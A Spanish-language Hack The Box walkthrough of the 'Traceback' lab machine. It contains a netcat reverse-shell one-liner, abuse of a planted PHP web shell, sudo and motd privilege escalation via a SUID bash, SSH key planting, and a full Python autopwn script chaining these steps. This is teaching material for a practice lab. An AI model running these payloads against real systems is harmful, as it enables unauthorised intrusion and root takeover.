Información de la máquina.
Contenido | Descripción |
---|---|
OS: | |
Dificultad: | Facil. |
Puntos: | 20 |
Lanzamiento: | 14-Marzo-2020 |
IP: | 10.10.10.181 |
Primera sangre de usuario: | sampriti |
Primera sangre de system: | sampriti |
Enumeración con nmap.
Como siempre comenzaremos con un escaneo a los 65535
puertos con el objetivo de poder encontrar cuales son los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts traceback.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-13 18:56 CDT
Nmap scan report for traceback.htb (10.10.10.181)
Host is up (0.20s latency).
Not shown: 53542 closed ports, 11990 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4488/tcp open awacs-ice
Nmap done: 1 IP address (1 host up) scanned in 69.06 seconds
Después lanzaré scripts de enumeración básicos para detectar el servicio y la versión de los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
intrusionz3r0@kali:~$ nmap -sCV -p22,80,4488 -oN targeted traceback.htb
Nmap scan report for traceback.htb (10.10.10.181)
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
4488/tcp open awacs-ice?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 13 19:02:30 2020 -- 1 IP address (1 host up) scanned in 174.28 seconds
El escaneo determinó lo siguiente:
Puerto 22
SSH
: Para este puerto no podemos hacer mucho debido a que no contamos con ningunas credenciales aun y ademas la version del servicio no esta asociada a ninguna vulnerabilidad.Puerto 4488
awacs-ice
: Parece ser que los scripts de enumeración no pudieron encontrar con exactitud cual es el servicio que se ejecuta para este puerto.Puerto 80
HTTP
: Nuestro único vector de entrara es el puerto 80, así que vamos a enumerar este servicio.
Enumeración puerto 80.
Cuando nos dirigimos al servicio HTTP nos encontramos con lo siguiente:
Rápidamente utilizo la herramienta whatweb
para ver que información podemos extraer.
Bien, al ver que no logramos extraer información útil, mi siguiente paso es revisar el codigo fuente en busca de pistas ya que esta máquina es muy al estilo CTF.
1
2
3
4
5
6
7
8
<body>
<center>
<h1>This site has been owned</h1>
<h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
<h3> - Xh4H - </h3>
<!--Some of the best web shells that you might need ;)-->
</center>
</body>
Consejo: Siempre revisar el código fuente de una máquina en hackthebox debido a que muchas veces encontramos cosas bastante interesantes.
Rápidamente me dirijo a google y hago la siguiente búsqueda:
Creo un diccionario con las webshell’s que se encuentran aqui para posteriormente realizar un búsqueda de directorios.
Webshell smevk.php.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
intrusionz3r0@kali:~$ wfuzz -c --hc 404 -w dic.txt http://traceback.htb/FUZZ
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://traceback.htb/FUZZ
Total requests: 30
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000027: 200 58 L 100 W 1261 Ch "smevk.php"
Total time: 0.817690
Processed Requests: 30
Filtered Requests: 29
Requests/sec.: 36.68870
Encontramos smevk.php
.
Reviso el código de smevk.php y encuentro las credenciales de acceso.
1
2
$UserName = "admin"; //Your UserName here.
$auth_pass = "admin"; //Your Password.
Rápidamente utilizo las credenciales para acceder a la webshell.
Hecho un vistazo y me percato de que es posible ejecutar comandos por lo que me lanzo una reverse shell utilizando netcat.
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PUERTO] >/tmp/f
Shell como el usuario webadmin.
Me dirijo a mi directorio y encuentro una nota bastante interesante:
sysadmin
Me ha dejado una herramienta para practicar Lua. Estoy seguro de que sabe dónde encontrarla. Contáctame si tienes alguna pregunta.
Tenemos una pista de por donde va el asunto.
Una de las primeras cosas que hago cuando entro a la máquina es revisar cuales son los comandos que tenemos permitidos ejecutar a nivel usuario.
Al parecer podemos ejecutar un binario llamado luvit
como el usuario sysadmin
.
Si ejecuto el binario luvit podemos observar que este nos va a permitir lograr ejecutar scripts en lua por lo que nuestro objetivo será escalar al usuario sysadmin
utilizando el lenguaje de scripting lua.
Visito la página: gtfobins para buscar la manera de escalar.
Shell como el usuario sysadmin.
1
2
webadmin@traceback:/home/webadmin$ sudo -u sysadmin /home/sysadmin/luvit -e "os.execute('/bin/bash')"
sysadmin@traceback:/home/webadmin$
Escalar a root via motd.
Eso fue muy fácil, me dirijo a la ruta de /dev/shm
y me paso un script de enumeración llamado linux-smart-enumeration. Bien lo que mas me llama la atención es que nosotros como el usuario sysadmin
podemos escribir en el archivo motd.
¿Que es motd?
Motd es un archivo de unix que su función es enviar un mensaje de bienvenida a todos los usuarios que se conectan al sistema, esto es muy común en autenticación ssh para recibir a los usuario con un mensaje.
si revisamos los permisos:
1
2
3
4
5
6
7
8
sysadmin@traceback:/dev/shm$ ls -l /etc/update-motd.d/
total 24
-rwxrwxr-x 1 root sysadmin 1003 Aug 13 17:46 00-header
-rwxrwxr-x 1 root sysadmin 982 Aug 13 17:46 10-help-text
-rwxrwxr-x 1 root sysadmin 4264 Aug 13 17:46 50-motd-news
-rwxrwxr-x 1 root sysadmin 604 Aug 13 17:46 80-esm
-rwxrwxr-x 1 root sysadmin 299 Aug 13 17:46 91-release-upgrade
sysadmin@traceback:/dev/shm$
Vemos que efectivamente tenemos permisos de escritura y que ademas el usuario propietario es el usuario root
por lo que la escalada a root esta bastante regalada.
- Copio mi clave SSH pública y la voy a colocar en el archivo
authorized_keys
del usuario sysadmin.
1
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQ....... intrusionz3r0@Intrusionz3r0" > /home/sysadmin/.ssh/authorized_keys
- Después aprovechandonos de que tenemos permisos de escritura en el motd lo modificare para que al final del script me ejecute un comando que me configure el bit SUID al binario
/bin/bash
para que esta se pueda ejecutar como el usuarioroot
.
1
sysadmin@traceback:/etc/update-motd.d$ echo "chmod u+s /bin/bash" >> 00-header
Ahora solo iniciamos por ssh.
1
2
intrusionz3r0@kali:~$ ssh sysadmin@traceback.htb
$ bash -p
¡¡Somos root!!
Autopwn.
Esto no acaba aquí, vamos a construirnos un autopwn utilizando python.
Asignamos la cabecera, importamos los paquetes a utilizar y asignamos un puerto con el que vamos a estar trabajando.
1
2
3
4
5
6
7
#!/usr/bin/env python3
#Author: Intrusionz3r0
import requests,time,threading,sys,signal
from pwn import *
#Variables Globales
LPORT=1234
Utilizamos la librería signal
para manejar la salida del programa.
1
2
3
4
5
def handler(key,frame):
print("Adios!!")
sys.exit(0)
signal = signal.signal(signal.SIGINT,handler)
Creamos el siguiente método para poder obtener una shell utilizando la webshell de smevk.php
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def getShell(LHOST):
url = "http://traceback.htb/smevk.php" #Asignamos la url.
s = requests.session() #Guardamos la sesion.
p1 = log.progress("Login")
data1={ # definimos la data.
"uname":"admin",
"pass":"admin",
"login":"Login"
}
p1.status("Ingresando credenciales.")
time.sleep(4)
r1 = s.post(url,data=data1) #Enviamos la data para poder loguearnos en el la webshell.
p1.success("Logueado correctamente.")
p2 = log.progress("Shell")
data2={ #Asignamos la data dos para poder enviarnos la revere shell.
"a":"Console",
"c":"/var/www/html",
"p1":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f".format(LHOST,LPORT),
"p2":"",
"p3":"",
"charset":"UTF-8"
}
p2.status("Enviando reverse shell, por favor espere.")
time.sleep(2)
try:
r2 = s.post(url,data=data2,timeout=10) #Enviamos la data para obtener una reverse shell.
except requests.exceptions.Timeout:
p2.success("Estamos dentro del sistema.")
Creamos nuestro método main para manejar el flujo de ejecución.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if __name__ == "__main__":
if(len(sys.argv) != 2): #Verifico que los argumentos que se le pasen al script sean solo 2 (nombre del script,LHOST)
log.info("Uso: python {} <LHOST> ; ssh sysadmin@traceback.htb 'bash -p'".format(sys.argv[0]))
sys.exit(0)
LHOST = sys.argv[1]
shell = listen(LPORT,timeout=20)
try:
threading.Thread(target=getShell(LHOST)).start() #Ejecuto en hilo el método getShell()
threading.Thread(target=upServer).start() #De igual manera aquí.
except Exception as e:
log.error(str(e))
if not (shell.sock is None): # Si recibimos una conexión entonces invocamos al método escalarRoot()
escalarRoot(LHOST)
Defino aquí toda la lógica que vimos anteriormente para poder escalar a root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def escalarRoot(LHOST):
p3 = log.progress("Root")
p3.status("Escalando de webmin a sysadmin.")
shell.sendline(""" sudo -u sysadmin /home/sysadmin/luvit -e "os.execute('/bin/bash')" """) # Me convierto en el usuario sysadmin.
shell.sendline("cd ~/.ssh") #Voy al directorio .ssh del usuario sysadmin.
time.sleep(2)
p3.status("Sobreescribiendo clave ssh.")
shell.sendline("wget http://{}:8000/id_rsa.pub -O authorized_keys".format(LHOST)) #Descargo mi clave publica ssh de mi servidor.
time.sleep(2)
os.system("ps -aux | grep 'SimpleHTTPServer' | head -n 1 | awk '{print $2}' | xargs kill") #Mato el proceso del servidor.
p3.status("Asignando SUID a /bin/bash.")
time.sleep(3)
shell.sendline(""" cd /etc/update-motd.d && echo "chmod u+s /bin/bash" >> 00-header """) #Asigno el SUID al binario /bin/bash.
p3.success("Somos root!!")
sys.exit(0) #Termino la ejecución del programa.
Creo un método para levantar un servidor en mi carpeta .ssh y poder compartir esos archivos.
1
2
def upServer():
os.system("cd ~/.ssh && python -m SimpleHTTPServer 8000 &")
Código completo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
#Author: Intrusionz3r0
import requests,time,threading,sys,signal
from pwn import *
#Variables Globales
LPORT=1234
def handler(key,frame):
print("Adios!!")
sys.exit(0)
signal = signal.signal(signal.SIGINT,handler)
def getShell(LHOST):
url = "http://traceback.htb/smevk.php"
s = requests.session()
p1 = log.progress("Login")
data1={
"uname":"admin",
"pass":"admin",
"login":"Login"
}
p1.status("Ingresando credenciales.")
time.sleep(4)
r1 = s.post(url,data=data1)
p1.success("Logueado correctamente.")
p2 = log.progress("Shell")
data2={
"a":"Console",
"c":"/var/www/html",
"p1":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f".format(LHOST,LPORT),
"p2":"",
"p3":"",
"charset":"UTF-8"
}
p2.status("Enviando reverse shell, por favor espere.")
time.sleep(2)
try:
r2 = s.post(url,data=data2,timeout=10)
except requests.exceptions.Timeout:
p2.success("Estamos dentro del sistema.")
def escalarRoot(LHOST):
p3 = log.progress("Root")
p3.status("Escalando de webmin a sysadmin.")
shell.sendline(""" sudo -u sysadmin /home/sysadmin/luvit -e "os.execute('/bin/bash')" """)
shell.sendline("cd ~/.ssh")
time.sleep(2)
p3.status("Sobreescribiendo clave ssh.")
shell.sendline("wget http://{}:8000/id_rsa.pub -O authorized_keys".format(LHOST))
time.sleep(2)
os.system("ps -aux | grep 'SimpleHTTPServer' | head -n 1 | awk '{print $2}' | xargs kill")
p3.status("Asignando SUID a /bin/bash.")
time.sleep(3)
shell.sendline(""" cd /etc/update-motd.d && echo "chmod u+s /bin/bash" >> 00-header """)
p3.success("Somos root!!")
sys.exit(0)
def upServer():
os.system("cd ~/.ssh && python -m SimpleHTTPServer 8000 &")
if __name__ == "__main__":
if(len(sys.argv) != 2):
log.info("Uso: python {} <LHOST> ; ssh sysadmin@traceback.htb 'bash -p'".format(sys.argv[0]))
sys.exit(0)
LHOST = sys.argv[1]
shell = listen(LPORT,timeout=20)
try:
threading.Thread(target=getShell(LHOST)).start()
threading.Thread(target=upServer).start()
except Exception as e:
log.error(str(e))
if not (shell.sock is None):
escalarRoot(LHOST)